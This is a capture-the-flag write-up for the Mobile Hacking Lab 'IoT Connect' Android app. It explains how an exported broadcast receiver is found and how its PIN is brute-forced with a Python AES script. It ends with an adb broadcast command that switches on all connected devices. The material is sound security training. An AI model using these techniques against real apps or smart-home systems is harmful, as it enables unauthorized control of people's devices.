Mobile Hacking Lab - IoT Connect
Exploiting Broadcast Vulnerabilities on Android: A Mobile Hacking Lab CTF Challenge
Broadcast receivers in Android apps can sometimes introduce critical vulnerabilities if not implemented with proper care and attention. Today, we’ll explore a challenge from the Mobile Hacking Lab CTF that puts your skills to the test in identifying and exploiting broadcast receiver flaws.
BroadcastReceiver in Android is like a listener that waits for certain messages to arrive. These messages, called broadcasts, can come from the system or other apps and can signal things like a phone call coming in, the battery getting low, or even the phone booting up.
When you want your app to react to these kinds of events, you create a BroadcastReceiver and tell it what kinds of messages to listen for. When a matching message arrives, the BroadcastReceiver wakes up and does whatever action you’ve told it to do, like displaying a notification or updating some data.
BroadcastReceivers can be set up to run either when your app is open or even when it’s not actively being used. They’re a handy way to make your app respond to all sorts of different situations without needing to constantly check for them.
You can access the challenge here: Mobile Hacking Lab - IoT Connect
The Challenge Overview
The goal is to exploit a flaw in the “IOT Connect” Android app’s Broadcast Receiver feature. This exploit will allow you to activate the master switch and take control of all connected devices! The challenge is to send a broadcast message in a way that guest users can’t, bypassing their limitations… Let’s go!
Discovery Phase
After deploying the APK on my device and launching the IoT Connect app, I began exploring its functionalities. Upon creating an account, I was presented with a range of smart devices that the app could control. However, I noticed that some of these devices were locked, suggesting that certain features were restricted.
Further exploration of the app revealed an additional tab designed to control all the connected devices simultaneously. However, to access this functionality, a PIN code was required, acting as an authentication measure to prevent unauthorized users from gaining complete control over the entire ecosystem:
No better tool than Deeeeper to find Activities, let’s run it:
We see the a broadcast receiver!
com.mobilehackinglab.iotconnect.MasterReceiver
: This is the name of theMasterReceiver
class in the application. It includes the package namecom.mobilehackinglab.iotconnect
followed by the class nameMasterReceiver
.(exported=true)
: This indicates that theMasterReceiver
is exported. It means that it can be activated by components of other apps.MASTER_ON
: This is an action name thatMasterReceiver
is listening for.MASTER_ON
is the intent action that when broadcasted, theMasterReceiver
is set up to receive and process.
Awesome, I’m on the right track.
Time to dive into the code and see what we’ve got to work with…
Code Analysis
Lots of code to go through, but let’s try to keep it short and sweet.
CommunicationManager
Let’s focus on this block:
public final class CommunicationManager {
public static final CommunicationManager INSTANCE = new CommunicationManager();
private static BroadcastReceiver masterReceiver;
private static SharedPreferences sharedPreferences;
private CommunicationManager() {
}
public final BroadcastReceiver initialize(Context context) {
Intrinsics.checkNotNullParameter(context, "context");
masterReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context2, Intent intent) {
if (Intrinsics.areEqual(intent != null ? intent.getAction() : null, "MASTER_ON")) {
int key = intent.getIntExtra("key", 0);
if (context2 != null) {
if (Checker.INSTANCE.check_key(key)) {
CommunicationManager.INSTANCE.turnOnAllDevices(context2);
Toast.makeText(context2, "All devices are turned on", Toast.LENGTH_LONG).show();
return;
}
Toast.makeText(context2, "Wrong PIN!!", Toast.LENGTH_LONG).show();
}
}
}
};
return masterReceiver;
}
}
Instantiation and Definition of masterReceiver
masterReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context2, Intent intent) {
// ... Implementation of onReceive
}
};
The masterReceiver
field is assigned a new BroadcastReceiver
object. The onReceive
method is overridden to define the behaviour when the BroadcastReceiver
receives the intent.
It’s exactly what we saw from the Deeeeper result: com.mobilehackinglab.iotconnect.MasterReceiver
This means we can’t call MasterReceiver
directly? let’s keep going…
Behavior of onReceive Method
public void onReceive(Context context2, Intent intent) {
if (Intrinsics.areEqual(intent != null ? intent.getAction() : null, "MASTER_ON")) {
int key = intent.getIntExtra("key", 0);
if (context2 != null) {
if (Checker.INSTANCE.check_key(key)) {
CommunicationManager.INSTANCE.turnOnAllDevices(context2);
Toast.makeText(context2, "All devices are turned on", 1).show();
return;
}
Toast.makeText(context2, "Wrong PIN!!", 1).show();
}
}
}
This method checks if the received Intent
has the action "MASTER_ON"
like we saw from Deeeeper.
It extracts an integer extra named "key"
from the Intent
. If "key"
is not found, it defaults to 0
. It checks this key using Checker.INSTANCE.check_key(key)
. If the key is correct, it executes turnOnAllDevices(context2)
to turn on all devices and shows a Toast
message indicating success. If the key is wrong, it shows a Toast
with a “Wrong PIN!!” message.
This will help build our command! That’s great.
Now onto the Checker
class, this one is located in the defpackage
Checker
The class Checker
is used to check if a given key can correctly decrypt a predefined encrypted string (ds
) to match a known plaintext value "master_on"
.
Class Definition and Singleton Pattern
public final class Checker {
public static final Checker INSTANCE = new Checker();
private static final String algorithm = "AES";
private static final String ds = "OSnaALIWUkpOziVAMycaZQ==";
private Checker() {
}
...
}
algorithm
: A static final String specifying the encryption algorithm, “AES”.ds
: A static final String holding the base64-encoded encrypted data.
Checking the Key
public final boolean check_key(int key) {
try {
return Intrinsics.areEqual(decrypt(ds, key), "master_on");
} catch (BadPaddingException e) {
return false;
}
}
check_key(int key)
: It attempts to decrypt the encrypted string ds
with the provided key
and checks if the result equals to master_on
. It returns true
if the decryption matches and false
when a BadPaddingException
is thrown, it indicates that the key is incorrect due to improper padding after decryption.
Decryption Method
public final String decrypt(String ds2, int key) {
Intrinsics.checkNotNullParameter(ds2, "ds");
SecretKeySpec secretKey = generateKey(key);
Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, secretKey);
if (Build.VERSION.SDK_INT >= 26) {
byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds2));
Intrinsics.checkNotNull(decryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
throw new UnsupportedOperationException("VERSION.SDK_INT < O");
}
This method is very important!
decrypt(String ds2, int key)
: takes the base64-encoded encrypted string ds2
and a key
, and attempts to decrypt it.
- It first generates a
SecretKeySpec
with the provided key. - Initializes a
Cipher
instance for AES in ECB mode with PKCS#5 padding. - Checks if the Android SDK version is at least 26 (Android Oreo), as the decryption process uses API methods available in Oreo and later.
- Decodes the base64-encoded
ds2
, decrypts it, and returns the decrypted string in UTF-8 format. - Throws an
UnsupportedOperationException
if the SDK version is below 26.
Cracking the Pin
Since we have the ds
value, we can build a python script to crack the pin:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
import itertools
encoded_ds = "OSnaALIWUkpOziVAMycaZQ=="
target = "master_on"
decoded_ds = b64decode(encoded_ds)
for key_int in itertools.count(start=1):
key_bytes = str(key_int).encode("utf-8").ljust(16, b'\0')[:16]
try:
cipher = AES.new(key_bytes, AES.MODE_ECB)
decrypted = unpad(cipher.decrypt(decoded_ds), AES.block_size).decode("utf-8")
if decrypted == target:
print(f"Found key: {key_int}")
break
except Exception as e:
continue
if key_int > 1000000:
print("Key not found within limit.")
break
- Import required modules:
Crypto.Cipher.AES
: Used for performing AES encryption and decryption.Crypto.Util.Padding
: Provides padding and unpadding functions for the plaintext.base64
: Handles base64 encoding and decoding.itertools
: Provides iterators for efficient looping.
- Base64-encoded and encrypted data setup:
encoded_ds
: This is the encrypted data we found in theChecker
class.target
: This is the known plaintext string we want to find by decrypting theds
value.
- Decode base64: The encrypted data is base64-decoded to get the actual encrypted bytes.
- Brute-force the key:
- The script uses an
itertools.count
iterator to generate integer keys starting from 1 and incrementing by 1 with each iteration. - Each integer key
key_int
is converted to a byte string, padded with null bytes to ensure it’s 16 bytes long, which is the required key length for AES with a block size of 128 bits.
- The script uses an
- Attempt to decrypt:
- Within a
try
block, the script creates a newAES
cipher object for each key usingAES.MODE_ECB
. - It tries to decrypt the data with this key and then unpad it according to the AES block size. If the padding is invalid, an exception will be thrown, and the script will continue to the next key.
- It then decodes the decrypted bytes to a UTF-8 string.
- Within a
- Check for the target string:
- If the decrypted string matches the
target
, it prints the key and breaks out of the loop :) :)
- If the decrypted string matches the
- Exception handling:
- If any exception is raised during the decryption or unpadding process the loop continues with the next key
continue
.
- If any exception is raised during the decryption or unpadding process the loop continues with the next key
- Limit the brute-force attempt:
- The script stop trying after 1,000,000 try. If it reaches this key without decrypting it, it prints a message indicating the key was not found within the limit and breaks out of the loop.
Running the script give us the pin!:
We have the secret pin: 345
Can we use it to call the broadcast receiver? Let’s try to exploit it…
Exploitation
Since the CommunicationManager
reveals that masterReceiver
is not a standalone class but an anonymous inner class of BroadcastReceiver
. This anonymous inner class is instantiated within the CommunicationManager
class.
Given this setup, if you try to call the MasterReceiver
like you normally would with adb, it won’t work, the system can’t find a MasterReceiver
.
Good news is, we can send a broadcast to trigger the anonymous inner BroadcastReceiver
via ADB, you generally don’t need to specify the receiver class, because broadcast intents are handled by the Android system and dispatched to all interested BroadcastReceivers
that have the appropriate intent filters set up. Which in our case, works!
We can use adb
for this, we pass the action MASTER_ON
, the --ei extra_key extra_int_value
which is the extra "key"
and the int value 345
, and run pidcat
for monitoring:
adb shell am broadcast -a MASTER_ON --ei key 345
Send the command:
The output from pidcat
indicates that all devices have been successfully activated!
All our devices are up and running, and there’s a cool green glow on each button to show they’re on!
Conclusion
Another thrilling challenge conquered at Mobile Hacking Lab!
The “IoT Connect” challenge threw us into broadcast receivers vulnerabilities. This challenge revolved around an IoT device control app that help the remote management of smart devices. However, it contained a critical flaw that opened the door to unauthorized device control. Imagine having someone else control all your devices? nightmare!
Let’s move on to the next challenge!
Thank you Mobile Hacking Lab :)